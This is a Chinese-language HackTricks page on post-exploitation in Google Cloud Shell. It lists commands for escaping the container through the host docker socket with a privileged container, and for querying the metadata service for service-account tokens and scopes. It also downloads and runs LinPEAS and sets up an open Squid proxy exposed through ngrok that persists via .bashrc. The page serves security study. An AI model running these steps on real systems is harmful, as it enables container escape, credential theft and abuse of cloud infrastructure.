GCP - Cloud Shell Post Exploitation

支持HackTricks

云Shell

有关云Shell的更多信息,请查看:

GCP - Cloud Shell Enum

容器逃逸

请注意,Google Cloud Shell在容器内运行,您可以通过以下方式轻松逃逸到主机

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

这并不被谷歌视为漏洞,但它让你对环境中正在发生的事情有了更广泛的视野。

此外,请注意,从主机上你可以找到一个服务账号令牌:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

具有以下范围:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

使用LinPEAS枚举元数据:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

使用 https://github.com/carlospolop/bf_my_gcp_permissions 使用服务账号的令牌后未发现任何权限...

用作代理

如果您想将您的 Google 云 Shell 实例用作代理,您需要运行以下命令(或将它们插入到 .bashrc 文件中):

sudo apt install -y squid

只是为了让你知道,Squid是一个HTTP代理服务器。创建一个名为squid.conf的文件,并添加以下设置:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

squid.conf 文件复制到 /etc/squid

sudo cp squid.conf /etc/squid

最后运行squid服务:

sudo service squid start

使用 ngrok 让代理可以从外部访问:

./ngrok tcp 3128

在运行后复制tcp://网址。如果要从浏览器运行代理,建议删除tcp://部分和端口,并将端口放入浏览器代理设置的端口字段中(squid是一个http代理服务器)。

为了在启动时更好地使用,.bashrc文件应包含以下行:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

指令已从https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key复制。查看该页面获取其他疯狂想法,在Cloud Shell中运行任何类型的软件(包括数据库甚至Windows)。

支持 HackTricks

Last updated